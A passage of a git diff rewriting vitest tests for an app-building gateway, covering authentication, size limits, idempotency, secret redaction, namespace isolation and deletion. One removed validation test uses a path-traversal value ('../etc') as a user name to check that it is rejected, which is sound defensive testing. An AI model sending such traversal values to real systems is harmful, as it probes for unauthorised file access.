stageHistory: [], + workflowRunId: "trn-1", + appName: "furniture-catalog", + webUrl: "https://vibe-demo-furniture-catalog-web.onrender.com", + apiUrl: null, + blueprintPath: "apps/demo/furniture-catalog/render.yaml", + summary: "Deployed.", + sandboxId: null, + sandboxGroupId: null, + createdAt: "2026-01-01T00:00:00.000Z", + updatedAt: "2026-01-01T00:10:00.000Z", + finishedAt: "2026-01-01T00:09:00.000Z", + ...overrides, + }; +} + beforeEach(() => { vi.clearAllMocks(); mocks.claimRun.mockResolvedValue({ claimed: true }); mocks.claimDelete.mockResolvedValue({ claimed: true, runIds: [RUN_ID] }); + mocks.claimWorkflowCheck.mockResolvedValue(true); mocks.deleteRunWithoutApp.mockResolvedValue(true); mocks.failDelete.mockResolvedValue(undefined); - mocks.setDeleteWorkflowRunId.mockResolvedValue(undefined); mocks.finishRun.mockResolvedValue(undefined); + mocks.getRun.mockResolvedValue(storedRun()); mocks.listRunsByUser.mockResolvedValue([]); mocks.ping.mockResolvedValue(undefined); - mocks.startTask.mockResolvedValue({ taskRunId: "trn-1" }); - mocks.claimWorkflowCheck.mockResolvedValue(false); + mocks.setDeleteWorkflowRunId.mockResolvedValue(undefined); mocks.setWorkflowRunId.mockResolvedValue(undefined); + mocks.startTask.mockResolvedValue({ taskRunId: "trn-1" }); mocks.workflowIdOfTaskRun.mockResolvedValue("wfl-1"); process.env.FACTORY_API_KEY = KEY; @@ -86,93 +129,67 @@ beforeEach(() => { delete process.env.RENDER_USE_LOCAL_DEV; }); -describe("health", () => { - it("reports liveness without touching Postgres", async () => { - const response = await createGateway().request("/health"); - expect(response.status).toBe(200); - expect(mocks.ping).not.toHaveBeenCalled(); - }); +afterEach(() => { + vi.restoreAllMocks(); +}); - it("reports 503 when Postgres is unreachable", async () => { +describe("health", () => { + it("reports liveness without Postgres, and readiness as 503 when Postgres is down", async () => { mocks.ping.mockRejectedValue(new Error("down")); - const response = await createGateway().request("/ready"); - expect(response.status).toBe(503); + + expect((await request("/health")).status).toBe(200); + expect((await request("/ready")).status).toBe(503); }); }); -describe("authentication", () => { - it("rejects a request with no bearer token before claiming a run", async () => { - const response = await post({ prompt: PROMPT }, { key: null }); - expect(response.status).toBe(401); +describe("POST /v1/apps", () => { + it("requires the bearer token on every /v1 route", async () => { + expect((await post({ prompt: PROMPT }, "")).status).toBe(401); + expect((await post({ prompt: PROMPT }, "Bearer wrong-token")).status).toBe( + 401, + ); + expect((await request(`/v1/apps/${RUN_ID}`)).status).toBe(401); expect(mocks.claimRun).not.toHaveBeenCalled(); + expect(mocks.getRun).not.toHaveBeenCalled(); }); - it("rejects a wrong bearer token", async () => { - const response = await post({ prompt: PROMPT }, { key: "nope" }); - expect(response.status).toBe(401); - }); + // Not JSON, so a body parsed before the cap would get 400. + it("rejects a body over the size cap before parsing it", async () => { + const response = await post("x".repeat(70 * 1024)); - // RFC 6750 gives 400 for a header that is not a bearer token. - it("rejects an authorization header that is not a bearer token", async () => { - const response = await createGateway().request("/v1/apps", { - method: "POST", - headers: { authorization: UI_AUTH, "content-type": "application/json" }, - body: JSON.stringify({ prompt: PROMPT }), - }); - expect(response.status).toBe(400); - expect(mocks.claimRun).not.toHaveBeenCalled(); - }); - - it("rejects a body over the size cap", async () => { - const response = await post(JSON.stringify({ padding: "x".repeat(70 * 1024) })); expect(response.status).toBe(413); + expect(mocks.claimRun).not.toHaveBeenCalled(); }); - it("guards the status route too", async () => { - const response = await createGateway().request( - "/v1/apps/6f9619ff-8b86-d011-b42d-00cf4fc964ff", - ); - expect(response.status).toBe(401); - expect(mocks.getRun).not.toHaveBeenCalled(); - }); -}); + it("rejects an invalid prompt with 400 and starts nothing", async () => { + const response = await post({ prompt: "hi" }); -describe("validation", () => { - it("rejects malformed JSON", async () => { - const response = await post("{not json"); - expect(response.status).toBe(400); - }); - - it.each([ - ["a prompt that is too short", { prompt: "hi" }], - ["no prompt at all", { user: "demo" }], - ["a user that is not a slug", { prompt: PROMPT, user: "../etc" }], - ])("rejects %s", async (_label, body) => { - const response = await post(body); expect(response.status).toBe(400); + expect(mocks.claimRun).not.toHaveBeenCalled(); expect(mocks.startTask).not.toHaveBeenCalled(); }); -}); -describe("dispatch", () => { - it("claims the run and starts the workflow task", async () => { + it("claims a valid prompt, dispatches prompt-to-app, and returns 202 with a status URL", async () => { const response = await post({ prompt: PROMPT, user: "demo" }); + const body = await response.json(); expect(response.status).toBe(202); + expect(body.statusUrl).toBe(`/v1/apps/${body.runId}`); expect(mocks.claimRun).toHaveBeenCalledWith( - expect.objectContaining({ prompt: PROMPT, user: "demo" }), + expect.objectContaining({ id: body.runId, prompt: PROMPT, user: "demo" }), ); expect(mocks.startTask).toHaveBeenCalledWith("wfs-1/prompt-to-app", [ - expect.objectContaining({ prompt: PROMPT, user: "demo" }), + { prompt: PROMPT, user: "demo", runId: body.runId }, ]); }); - it("returns the original run for a repeated idempotency key", async () => { + it("returns the existing run for a repeated idempotency key without dispatching", async () => { mocks.claimRun.mockResolvedValue({ claimed: false, reason: "duplicate", runId: "run-1", }); + const response = await post({ prompt: PROMPT, idempotencyKey: "same-key-1" }); expect(response.status).toBe(200); @@ -183,498 +200,145 @@ describe("dispatch", () => { expect(mocks.startTask).not.toHaveBeenCalled(); }); - it("refuses work when too many runs are already going", async () => { + it("returns 429 at capacity without dispatching", async () => { mocks.claimRun.mockResolvedValue({ claimed: false, reason: "at_capacity" }); + const response = await post({ prompt: PROMPT }); expect(response.status).toBe(429); - // The UI shows the detail below the prompt. - expect(await response.json()).toEqual({ - error: "too many concurrent runs", - detail: - "The factory builds at most 3 apps at a time, for all users. Submit the prompt again when a run finishes.", - }); expect(mocks.startTask).not.toHaveBeenCalled(); }); - it("releases the claim when dispatch fails so a retry can succeed", async () => { + it("releases the claim and returns 502 when the dispatch fails", async () => { + vi.spyOn(console, "error").mockImplementation(() => {}); mocks.startTask.mockRejectedValue(new Error("render unavailable")); + const response = await post({ prompt: PROMPT }); expect(response.status).toBe(502); + const [{ id }] = mocks.claimRun.mock.calls[0]; expect(mocks.finishRun).toHaveBeenCalledWith( - expect.any(String), + id, "failed", - expect.objectContaining({ summary: "dispatch failed" }), + expect.anything(), ); }); - - it("fails when the workflow slug is not configured", async () => { - process.env.RENDER_WORKFLOW_SLUG = ""; - const response = await post({ prompt: PROMPT }); - expect(response.status).toBe(502); - }); }); describe("browser UI", () => { - const authorization = `Basic ${Buffer.from("demo:a-long-demo-password").toString("base64")}`; - - it("requires the UI username to be a namespace-safe slug", () => { - process.env.UI_USERNAME = "Demo User"; - expect(() => createGateway()).toThrow( - "UI_USERNAME must be a lowercase slug", - ); - }); - - it("requires Basic Auth for the page", async () => { - const denied = await createGateway().request("/"); - expect(denied.status).toBe(401); - - const response = await createGateway().request("/", { - headers: { authorization }, - }); - expect(response.status).toBe(200); - expect(await response.text()).toContain("Vibe Code Demo"); - }); + const pages = ["/", "/table", "/app.js", "/table.js", "/runs.js"]; - it("lists each run stage in order, with a tooltip that says where it runs", async () => { - const { RUN_STAGES } = - await vi.importActual("../app/store.js"); - const response = await createGateway().request("/", { - headers: { authorization }, - }); - const items = [ - ...(await response.text()).matchAll(/
  • [\s\S]*?<\/li>/g), - ]; - - expect(items.map(([, stage]) => stage)).toEqual(RUN_STAGES); - for (const [item, stage] of items) { - expect(item).toContain(`aria-describedby="stage-tip-${stage}"`); - expect(item).toContain(`id="stage-tip-${stage}" class="stage-tip" role="tooltip"`); - expect(item).toContain('Runs in'); + it("requires Basic Auth for every UI file and route, and serves no file that holds FACTORY_API_KEY", async () => { + for (const path of [...pages, "/style.css", "/ui/apps"]) { + expect((await request(path)).status, path).toBe(401); } - }); - - it.each(["/table", "/table.js", "/runs.js", "/app.js"])( - "requires Basic Auth for %s", - async (path) => { - expect((await createGateway().request(path)).status).toBe(401); - const response = await createGateway().request(path, { - headers: { authorization }, - }); - expect(response.status).toBe(200); - }, - ); - - it.each(["/", "/table", "/table.js", "/runs.js", "/app.js", "/style.css"])( - "makes the browser revalidate %s after each deploy", - async (path) => { - const response = await createGateway().request(path, { - headers: { authorization }, - }); - expect(response.headers.get("cache-control")).toBe("no-cache"); - }, - ); - - it("explains each run stage in the table view, with its time and its dashboard links", async () => { - const { RUN_STAGES } = - await vi.importActual("../app/store.js"); - const response = await createGateway().request("/table", { - headers: { authorization }, - }); - const html = await response.text(); - const rows = [...html.matchAll(/([\s\S]*?)<\/tr>/g)]; - - expect(html).toContain(''); - expect(html).toContain('Time'); - expect(rows.map(([, stage]) => stage)).toEqual(RUN_STAGES); - for (const [, , cells] of rows) { - // The name, the time, what the stage does, where it runs, and its - // links. table.js fills the time and the links. - const text = [...cells.matchAll(/]*>([\s\S]*?)<\/t[hd]>/g)].map( - ([, content]) => content.replace(/<[^>]+>/g, "").trim(), - ); - expect(text).toHaveLength(5); - expect([text[0], text[2], text[3]].every(Boolean)).toBe(true); - expect(cells).toContain(''); - expect(cells).toMatch(//); + for (const path of pages) { + const response = await request(path, { authorization: UI_AUTH }); + expect(response.status, path).toBe(200); + expect(await response.text(), path).not.toContain(KEY); } }); - it("allows the explicit auth bypass only outside production", async () => { - process.env.UI_AUTH_DISABLED = "true"; - expect((await createGateway().request("/")).status).toBe(200); - - process.env.NODE_ENV = "production"; - expect((await createGateway().request("/")).status).toBe(401); - }); - - it("submits without exposing or requiring the factory bearer token", async () => { - const response = await createGateway().request("/ui/apps", { + it("submits, lists, and deletes only in the Basic Auth user's namespace", async () => { + const submitted = await request("/ui/apps", { method: "POST", - headers: { authorization, "content-type": "application/json" }, - body: JSON.stringify({ prompt: PROMPT, user: "another-user" }), + authorization: UI_AUTH, + body: { prompt: PROMPT, user: "another-user" }, }); - - expect(response.status).toBe(202); - expect(mocks.startTask).toHaveBeenCalledOnce(); - expect(mocks.claimRun).toHaveBeenCalledWith( + expect(submitted.status).toBe(202); + expect((await submitted.json()).statusUrl).toMatch(/^\/ui\/apps\//); + expect(mocks.startTask).toHaveBeenCalledWith("wfs-1/prompt-to-app", [ expect.objectContaining({ user: "demo" }), - ); - expect(mocks.setWorkflowRunId).toHaveBeenCalledWith( - expect.any(String), - "trn-1", - ); - expect(await response.json()).toMatchObject({ - statusUrl: expect.stringMatching(/^\/ui\/apps\//), - }); - }); - - it("lists only runs in the authenticated UI namespace", async () => { - const response = await createGateway().request("/ui/apps", { - headers: { authorization }, - }); - - expect(response.status).toBe(200); - expect(mocks.listRunsByUser).toHaveBeenCalledWith("demo"); - expect(await response.json()).toEqual({ runs: [] }); - }); - - // The UI polls only the list, so the list marks a run failed when its task - // run failed. Else the run keeps a concurrency slot until someone selects it. - it("reconciles each run that a task owns before it lists the runs", async () => { - const building = storedRun({ - id: "run-building", - status: "running", - workflowRunId: "trn-building", - }); - const crashed = storedRun({ - id: "run-crashed", - status: "running", - workflowRunId: "trn-crashed", - }); - const deployed = storedRun({ id: "run-deployed" }); - mocks.listRunsByUser - .mockResolvedValueOnce([building, crashed, deployed]) - .mockResolvedValueOnce([ - building, - { ...crashed, status: "failed", summary: "Workflow failed: timed out" }, - deployed, - ]); - mocks.claimWorkflowCheck.mockResolvedValue(true); - mocks.getTaskRun.mockImplementation(async (id: string) => - id === "trn-crashed" - ? { status: "failed", error: "timed out" } - : { status: "running" }, - ); - - const response = await createGateway().request("/ui/apps", { - headers: { authorization }, - }); - const body = (await response.json()) as { - runs: { runId: string; status: string }[]; - }; - - expect(mocks.claimWorkflowCheck.mock.calls).toEqual([ - ["run-building"], - ["run-crashed"], - ]); - expect(mocks.finishRun).toHaveBeenCalledOnce(); - expect(mocks.finishRun).toHaveBeenCalledWith("run-crashed", "failed", { - summary: "Workflow failed: timed out", - }); - expect(body.runs.map((run) => [run.runId, run.status])).toEqual([ - ["run-building", "running"], - ["run-crashed", "failed"], - ["run-deployed", "deployed"], ]); - }); - it("reads the list one time when no task owns a run", async () => { mocks.listRunsByUser.mockResolvedValue([storedRun()]); - - const response = await createGateway().request("/ui/apps", { - headers: { authorization }, + const listed = await request("/ui/apps", { authorization: UI_AUTH }); + expect((await listed.json()).runs).toHaveLength(1); + expect(mocks.listRunsByUser.mock.calls).toEqual([["demo"]]); + + mocks.getRun.mockResolvedValue(storedRun({ user: "acme" })); + const deleted = await request(`/ui/apps/${RUN_ID}`, { + method: "DELETE", + authorization: UI_AUTH, }); - - expect(response.status).toBe(200); - expect(mocks.listRunsByUser).toHaveBeenCalledOnce(); - expect(mocks.claimWorkflowCheck).not.toHaveBeenCalled(); - }); -}); - -describe("status", () => { - it("returns the run, with secret-shaped text redacted", async () => { - mocks.getRun.mockResolvedValue({ - id: "6f9619ff-8b86-d011-b42d-00cf4fc964ff", - idempotencyKey: "k", - prompt: PROMPT, - user: "demo", - status: "deployed", - stage: "done", - // Progress can hold the error of a failed Render read. - progress: - "The deploy lookup of srv-1 failed (attempt 1 of 5): postgres://user:pw@host/db", - stageHistory: [], - workflowRunId: "trn-1", - appName: "furniture-catalog", - webUrl: "https://vibe-demo-furniture-catalog-web.onrender.com", - apiUrl: "https://vibe-demo-furniture-catalog-api.onrender.com", - blueprintPath: "apps/demo/furniture-catalog/render.yaml", - summary: "Wired DATABASE_URL postgres://user:pw@host/db for the API.", - createdAt: "2026-01-01T00:00:00.000Z", - updatedAt: "2026-01-01T00:10:00.000Z", - }); - - const response = await createGateway().request( - "/v1/apps/6f9619ff-8b86-d011-b42d-00cf4fc964ff", - { headers: { authorization: `Bearer ${KEY}` } }, - ); - const body = (await response.json()) as { - urls: { web: string }; - progress: string; - summary: string; - }; - - expect(response.status).toBe(200); - expect(body.urls.web).toContain("onrender.com"); - expect(body.summary).not.toContain("postgres://user:pw@host/db"); - expect(body.summary).toContain("[REDACTED]"); - expect(body.progress).toBe( - "The deploy lookup of srv-1 failed (attempt 1 of 5): [REDACTED]", - ); - }); - - function readV1Run() { - return createGateway().request(`/v1/apps/${RUN_ID}`, { - headers: { authorization: `Bearer ${KEY}` }, - }); - } - - // prompt-to-app writes its result before it returns. - it("does not change the row of a task run that succeeded", async () => { - mocks.getRun.mockResolvedValue(storedRun({ status: "running" })); - mocks.claimWorkflowCheck.mockResolvedValue(true); - mocks.getTaskRun.mockResolvedValue({ status: "succeeded", results: [] }); - - expect((await readV1Run()).status).toBe(200); - expect(mocks.getTaskRun).toHaveBeenCalledWith("trn-1"); - expect(mocks.finishRun).not.toHaveBeenCalled(); - }); - - it("keeps a run running while its task run is paused", async () => { - mocks.getRun.mockResolvedValue(storedRun({ status: "running" })); - mocks.claimWorkflowCheck.mockResolvedValue(true); - mocks.getTaskRun.mockResolvedValue({ status: "paused", results: [] }); - - expect((await readV1Run()).status).toBe(200); - expect(mocks.finishRun).not.toHaveBeenCalled(); + expect(deleted.status).toBe(404); + expect(mocks.claimDelete).not.toHaveBeenCalled(); + expect(mocks.deleteRunWithoutApp).not.toHaveBeenCalled(); }); - // A timeout stops the task before its catch block can write the failure. - it.each(["failed", "canceled"])( - "marks a run failed when its task run is %s", - async (status) => { - mocks.getRun.mockResolvedValue(storedRun({ status: "running" })); - mocks.claimWorkflowCheck.mockResolvedValue(true); - mocks.getTaskRun.mockResolvedValue({ status, error: "timed out" }); - - expect((await readV1Run()).status).toBe(200); - expect(mocks.finishRun).toHaveBeenCalledWith(RUN_ID, "failed", { - summary: `Workflow ${status}: timed out`, - }); - }, - ); - - // A stage that the run went into again has one more item. - it("gives the time that each stage of a run started and stopped", async () => { - mocks.getRun.mockResolvedValue( - storedRun({ - stageHistory: [ - { stage: "building", startedAt: "2026-01-01T00:02:00.000Z" }, - { stage: "verifying", startedAt: "2026-01-01T00:05:00.000Z" }, - { stage: "building", startedAt: "2026-01-01T00:06:00.000Z" }, - { stage: "smoke_testing", startedAt: "2026-01-01T00:08:00.000Z" }, - ], - }), - ); + it("lists every stage of RUN_STAGES in order in the stage list and the stage table", async () => { + const index = await (await request("/", { authorization: UI_AUTH })).text(); + const items = [ + ...index.matchAll(/
  • ([\s\S]*?)<\/li>/g), + ]; + expect(items.map(([, stage]) => stage)).toEqual(RUN_STAGES); + for (const [, stage, item] of items) { + expect(item, stage).toContain('role="tooltip"'); + } - const body = await (await readV1Run()).json(); - - // A stage stops when the next one starts, and the last one when the run stops. - expect(body.stageHistory).toEqual([ - { - stage: "building", - startedAt: "2026-01-01T00:02:00.000Z", - finishedAt: "2026-01-01T00:05:00.000Z", - }, - { - stage: "verifying", - startedAt: "2026-01-01T00:05:00.000Z", - finishedAt: "2026-01-01T00:06:00.000Z", - }, - { - stage: "building", - startedAt: "2026-01-01T00:06:00.000Z", - finishedAt: "2026-01-01T00:08:00.000Z", - }, - { - stage: "smoke_testing", - startedAt: "2026-01-01T00:08:00.000Z", - finishedAt: "2026-01-01T00:09:00.000Z", - }, - ]); + const table = await ( + await request("/table", { authorization: UI_AUTH }) + ).text(); + const rows = [ + ...table.matchAll(/([\s\S]*?)<\/tr>/g), + ]; + expect(rows.map(([, stage]) => stage)).toEqual(RUN_STAGES); + for (const [, stage, row] of rows) { + expect(row, stage).toContain('class="stage-time"'); + expect(row, stage).toContain('class="stage-links"'); + } }); +}); - it("gives no stop time to the stage that runs now", async () => { +describe("GET /v1/apps/:runId", () => { + it("redacts secrets in the summary and the progress", async () => { mocks.getRun.mockResolvedValue( storedRun({ - status: "running", - stage: "verifying", - finishedAt: null, - stageHistory: [ - { stage: "designing", startedAt: "2026-01-01T00:00:05.000Z" }, - { stage: "verifying", startedAt: "2026-01-01T00:04:00.000Z" }, - ], + progress: "The deploy lookup failed: postgres://user:pw@host/db", + summary: "Wired DATABASE_URL postgres://user:pw@host/db for the API.", }), ); - const body = await (await readV1Run()).json(); - - expect(body.stageHistory).toEqual([ - { - stage: "designing", - startedAt: "2026-01-01T00:00:05.000Z", - finishedAt: "2026-01-01T00:04:00.000Z", - }, - { - stage: "verifying", - startedAt: "2026-01-01T00:04:00.000Z", - finishedAt: null, - }, - ]); - }); - - /** Two reads of the run from one gateway, as the polls of the UI do. */ - async function readTwice() { - const gateway = createGateway(); - const read = async () => - (await ( - await gateway.request(`/v1/apps/${RUN_ID}`, { - headers: { authorization: `Bearer ${KEY}` }, - }) - ).json()) as { finishedAt: string; links: Record }; - return [await read(), await read()]; - } - - it("links the run to its task run and its sandbox in the Render Dashboard", async () => { - mocks.getRun.mockResolvedValue( - storedRun({ sandboxId: "sbx-1", sandboxGroupId: "sbg-1" }), - ); - - const [first, second] = await readTwice(); - - // The workflow ID is read after the first response, and only once. - expect(first.links.workflowRun).toBeNull(); - expect(mocks.workflowIdOfTaskRun).toHaveBeenCalledTimes(1); - expect(mocks.workflowIdOfTaskRun).toHaveBeenCalledWith("trn-1"); - expect(second.finishedAt).toBe("2026-01-01T00:09:00.000Z"); - expect(second.links).toEqual({ - workflowRun: "https://dashboard.render.com/wf/wfl-1/runs/trn-1", - sandbox: "https://dashboard.render.com/sandbox-group/sbg-1/sandboxes/sbx-1", + const response = await request(`/v1/apps/${RUN_ID}`, { + authorization: BEARER, }); - }); - - it("gives no link that it cannot make", async () => { - const logged = vi.spyOn(console, "error").mockImplementation(() => {}); - mocks.getRun.mockResolvedValue(storedRun({ sandboxId: "sbx-1" })); - mocks.workflowIdOfTaskRun.mockRejectedValue(new Error("403")); + const body = await response.json(); - const [, second] = await readTwice(); - logged.mockRestore(); - - expect(second.links).toEqual({ workflowRun: null, sandbox: null }); - // A failed read is tried again after a minute, not on each poll. - expect(mocks.workflowIdOfTaskRun).toHaveBeenCalledTimes(1); + expect(response.status).toBe(200); + for (const text of [body.summary, body.progress]) { + expect(text).not.toContain("postgres://"); + expect(text).toContain("[REDACTED]"); + } }); - // A local task run is not in the Dashboard. - it("gives no workflow link in local development", async () => { - process.env.RENDER_USE_LOCAL_DEV = "true"; - mocks.getRun.mockResolvedValue(storedRun()); + // A timeout or a cancel stops the task before its catch block writes the failure. + it("marks a running run failed on read when its task run failed or was canceled", async () => { + const running = storedRun({ status: "running", finishedAt: null }); + mocks.getRun.mockResolvedValue(running); + mocks.listRunsByUser.mockResolvedValue([running]); - const [, second] = await readTwice(); + mocks.getTaskRun.mockResolvedValue({ status: "running" }); + await request(`/v1/apps/${RUN_ID}`, { authorization: BEARER }); + expect(mocks.finishRun).not.toHaveBeenCalled(); - expect(second.links.workflowRun).toBeNull(); - expect(mocks.workflowIdOfTaskRun).not.toHaveBeenCalled(); - }); + mocks.getTaskRun.mockResolvedValue({ status: "failed", error: "timed out" }); + await request(`/v1/apps/${RUN_ID}`, { authorization: BEARER }); + expect(mocks.finishRun).toHaveBeenLastCalledWith(RUN_ID, "failed", { + summary: expect.stringContaining("timed out"), + }); - it("404s an id that is not a run id without querying Postgres", async () => { - const response = await createGateway().request("/v1/apps/not-a-uuid", { - headers: { authorization: `Bearer ${KEY}` }, + // The UI polls only the list, so the list reconciles too. + mocks.getTaskRun.mockResolvedValue({ status: "canceled" }); + await request("/ui/apps", { authorization: UI_AUTH }); + expect(mocks.finishRun).toHaveBeenLastCalledWith(RUN_ID, "failed", { + summary: expect.stringContaining("canceled"), }); - expect(response.status).toBe(404); - expect(mocks.getRun).not.toHaveBeenCalled(); }); }); -/** A stored run of the furniture catalog, with some fields replaced. */ -function storedRun(overrides: Record = {}) { - return { - id: RUN_ID, - idempotencyKey: "k", - prompt: PROMPT, - user: "demo", - status: "deployed", - stage: "done", - progress: null, - stageHistory: [], - workflowRunId: "trn-1", - appName: "furniture-catalog", - webUrl: "https://vibe-demo-furniture-catalog-web.onrender.com", - apiUrl: null, - blueprintPath: "apps/demo/furniture-catalog/render.yaml", - summary: "Deployed.", - sandboxId: null, - sandboxGroupId: null, - createdAt: "2026-01-01T00:00:00.000Z", - updatedAt: "2026-01-01T00:10:00.000Z", - finishedAt: "2026-01-01T00:09:00.000Z", - ...overrides, - }; -} - -function deleteV1(opts: { key?: string | null } = {}) { - const headers: Record = {}; - if (opts.key !== null) headers.authorization = `Bearer ${opts.key ?? KEY}`; - return createGateway().request(`/v1/apps/${RUN_ID}`, { - method: "DELETE", - headers, - }); -} - -/** - * A delete removes the app on Render and in the apps repository, and every run - * of the app. The gateway only claims the runs and dispatches delete-app. - */ -describe("delete", () => { - beforeEach(() => { - mocks.getRun.mockResolvedValue(storedRun()); - mocks.startTask.mockResolvedValue({ taskRunId: "trn-delete" }); - }); - - it("rejects a request with no bearer token before reading the run", async () => { - const response = await deleteV1({ key: null }); - expect(response.status).toBe(401); - expect(mocks.getRun).not.toHaveBeenCalled(); - }); - - it("404s a run that does not exist", async () => { - mocks.getRun.mockResolvedValue(null); - const response = await deleteV1(); - expect(response.status).toBe(404); - expect(mocks.claimDelete).not.toHaveBeenCalled(); - }); +describe("DELETE /v1/apps/:runId", () => { + const remove = () => + request(`/v1/apps/${RUN_ID}`, { method: "DELETE", authorization: BEARER }); it("claims every run of the app and dispatches delete-app", async () => { mocks.claimDelete.mockResolvedValue({ @@ -682,153 +346,37 @@ describe("delete", () => { runIds: [RUN_ID, "run-older"], }); - const response = await deleteV1(); + const response = await remove(); expect(response.status).toBe(202); - expect(await response.json()).toEqual({ - runId: RUN_ID, + expect(await response.json()).toMatchObject({ status: "deleting", - appName: "furniture-catalog", runIds: [RUN_ID, "run-older"], - statusUrl: `/v1/apps/${RUN_ID}`, }); expect(mocks.claimDelete).toHaveBeenCalledWith("demo", "furniture-catalog"); expect(mocks.startTask).toHaveBeenCalledWith("wfs-1/delete-app", [ { user: "demo", appName: "furniture-catalog" }, ]); - expect(mocks.setDeleteWorkflowRunId).toHaveBeenCalledWith( - "demo", - "furniture-catalog", - "trn-delete", - ); }); // The running run would publish the app again after the delete. - it("refuses while a run of the app is still running", async () => { + it("refuses with 409 while a run of the app is running", async () => { mocks.claimDelete.mockResolvedValue({ claimed: false, reason: "running" }); - const response = await deleteV1(); - expect(response.status).toBe(409); - expect(mocks.startTask).not.toHaveBeenCalled(); - }); - it("starts no second task while a delete is in progress", async () => { - mocks.claimDelete.mockResolvedValue({ - claimed: false, - reason: "deleting", - runIds: [RUN_ID], - }); - const response = await deleteV1(); - expect(response.status).toBe(202); - expect(await response.json()).toMatchObject({ status: "deleting" }); + expect((await remove()).status).toBe(409); expect(mocks.startTask).not.toHaveBeenCalled(); }); - it("marks the runs delete_failed when dispatch fails, so a retry can start", async () => { - mocks.startTask.mockRejectedValue(new Error("render unavailable")); - const response = await deleteV1(); - expect(response.status).toBe(502); - expect(mocks.failDelete).toHaveBeenCalledWith( - "demo", - "furniture-catalog", - expect.stringContaining("Nothing was deleted"), - ); - }); - - it("deletes a run that chose no app at once, without a task", async () => { + it("deletes a run that chose no app directly, without a task", async () => { mocks.getRun.mockResolvedValue( storedRun({ status: "failed", appName: null, blueprintPath: null }), ); - const response = await deleteV1(); + + const response = await remove(); + expect(response.status).toBe(200); - expect(await response.json()).toEqual({ runId: RUN_ID, status: "deleted" }); + expect(await response.json()).toMatchObject({ status: "deleted" }); expect(mocks.deleteRunWithoutApp).toHaveBeenCalledWith(RUN_ID); - expect(mocks.claimDelete).not.toHaveBeenCalled(); expect(mocks.startTask).not.toHaveBeenCalled(); }); - - it("refuses a run that chose no app yet and is still running", async () => { - mocks.getRun.mockResolvedValue( - storedRun({ status: "running", appName: null, blueprintPath: null }), - ); - mocks.deleteRunWithoutApp.mockResolvedValue(false); - const response = await deleteV1(); - expect(response.status).toBe(409); - }); - - describe("from the browser UI", () => { - function deleteUi( - headers: Record = { authorization: UI_AUTH }, - ) { - return createGateway().request(`/ui/apps/${RUN_ID}`, { - method: "DELETE", - headers, - }); - } - - it("requires Basic Auth", async () => { - const response = await deleteUi({}); - expect(response.status).toBe(401); - expect(mocks.getRun).not.toHaveBeenCalled(); - }); - - it("deletes a run in the UI namespace without the factory bearer token", async () => { - const response = await deleteUi(); - expect(response.status).toBe(202); - expect(await response.json()).toMatchObject({ - statusUrl: `/ui/apps/${RUN_ID}`, - }); - }); - - it("404s a run in a different namespace", async () => { - mocks.getRun.mockResolvedValue(storedRun({ user: "acme" })); - const response = await deleteUi(); - expect(response.status).toBe(404); - expect(mocks.claimDelete).not.toHaveBeenCalled(); - expect(mocks.startTask).not.toHaveBeenCalled(); - }); - }); - - describe("status", () => { - function readV1() { - return createGateway().request(`/v1/apps/${RUN_ID}`, { - headers: { authorization: `Bearer ${KEY}` }, - }); - } - - it("marks the runs delete_failed when the delete task failed", async () => { - mocks.getRun.mockResolvedValue( - storedRun({ status: "deleting", workflowRunId: "trn-delete" }), - ); - mocks.claimWorkflowCheck.mockResolvedValue(true); - mocks.getTaskRun.mockResolvedValue({ status: "failed", error: "boom" }); - - const response = await readV1(); - - expect(response.status).toBe(200); - expect(mocks.getTaskRun).toHaveBeenCalledWith("trn-delete"); - // Only the runs of this task: a newer delete can own them now. - expect(mocks.failDelete).toHaveBeenCalledWith( - "demo", - "furniture-catalog", - "Delete failed: boom", - "trn-delete", - ); - expect(mocks.finishRun).not.toHaveBeenCalled(); - }); - - it("404s a run that a finished delete removed", async () => { - mocks.getRun - .mockResolvedValueOnce( - storedRun({ status: "deleting", workflowRunId: "trn-delete" }), - ) - .mockResolvedValue(null); - mocks.claimWorkflowCheck.mockResolvedValue(true); - mocks.getTaskRun.mockResolvedValue({ status: "succeeded", results: [] }); - - const response = await readV1(); - - expect(response.status).toBe(404); - expect(mocks.failDelete).not.toHaveBeenCalled(); - }); - }); }); diff --git a/tests/git.test.ts b/tests/git.test.ts index c908679..154cd06 100644 --- a/tests/git.test.ts +++ b/tests/git.test.ts @@ -1,330 +1,35 @@ import { execSync } from "node:child_process"; import { chmodSync, + lstatSync, mkdirSync, mkdtempSync, readdirSync, readFileSync, realpathSync, rmSync, - statSync, symlinkSync, writeFileSync, } from "node:fs"; import { tmpdir } from "node:os"; import { dirname, join, relative } from "node:path"; -import { gzipSync } from "node:zlib"; -import { Header, type HeaderData } from "tar"; -import { afterEach, describe, expect, it, vi } from "vitest"; +import { afterEach, describe, expect, it } from "vitest"; import type { Service } from "../app/contracts.js"; import { - type AppFile, - type AppFiles, - appFiles, appGitignore, cloneAppsRepo, commitPaths, - MAX_APP_BYTES, pushVerified, REPO_DIR, - readAppFiles, removeIgnored, - writeAppFiles, } from "../app/git.js"; import { type ExecResult, type Sandbox, shellEscape } from "../app/sandbox.js"; -const OK: ExecResult = { output: "", exitCode: 0 }; -const HEAD = "a".repeat(40); /** What each commit of the shop app may change. */ const PATHS = ["apps/demo/shop", "render.yaml"]; +const PAGE = "Shop"; -/** - * A sandbox that answers git from a handler and records every command, so a - * test can assert on the sequence the push actually ran. Unmatched commands - * succeed silently, which is what the uninteresting plumbing does. - */ -function fakeSandbox(handler: (command: string) => ExecResult | undefined) { - const commands: string[] = []; - - const run = vi.fn(async (command: string): Promise => { - commands.push(command); - return handler(command) ?? OK; - }); - - const sandbox = { - run, - upload: vi.fn(async () => undefined), - async mustRun(command: string, label: string): Promise { - const result = await run(command); - if (result.exitCode !== 0) throw new Error(`${label} failed`); - return result.output; - }, - } as unknown as Sandbox; - - return { sandbox, commands }; -} - -const isPush = (command: string) => / 'push' /.test(command); -const isFetch = (command: string) => / 'fetch' /.test(command); -const isChangedPaths = (command: string) => command.includes(" diff-tree "); - -/** The answer to the list of the paths that a commit changes. */ -function changes(...paths: string[]): ExecResult { - return { output: paths.map((path) => `${path}\0`).join(""), exitCode: 0 }; -} - -/** Answers for the verification that follows a successful push. */ -function verified(command: string): ExecResult | undefined { - if (command.includes("rev-parse HEAD")) { - return { output: `${HEAD}\n`, exitCode: 0 }; - } - if (command.includes("ls-remote")) { - return { output: `${HEAD}\trefs/heads/main\n`, exitCode: 0 }; - } - return undefined; -} - -const push = ( - sandbox: Sandbox, - redo: () => Promise = async () => HEAD, -) => - pushVerified( - sandbox, - "token", - 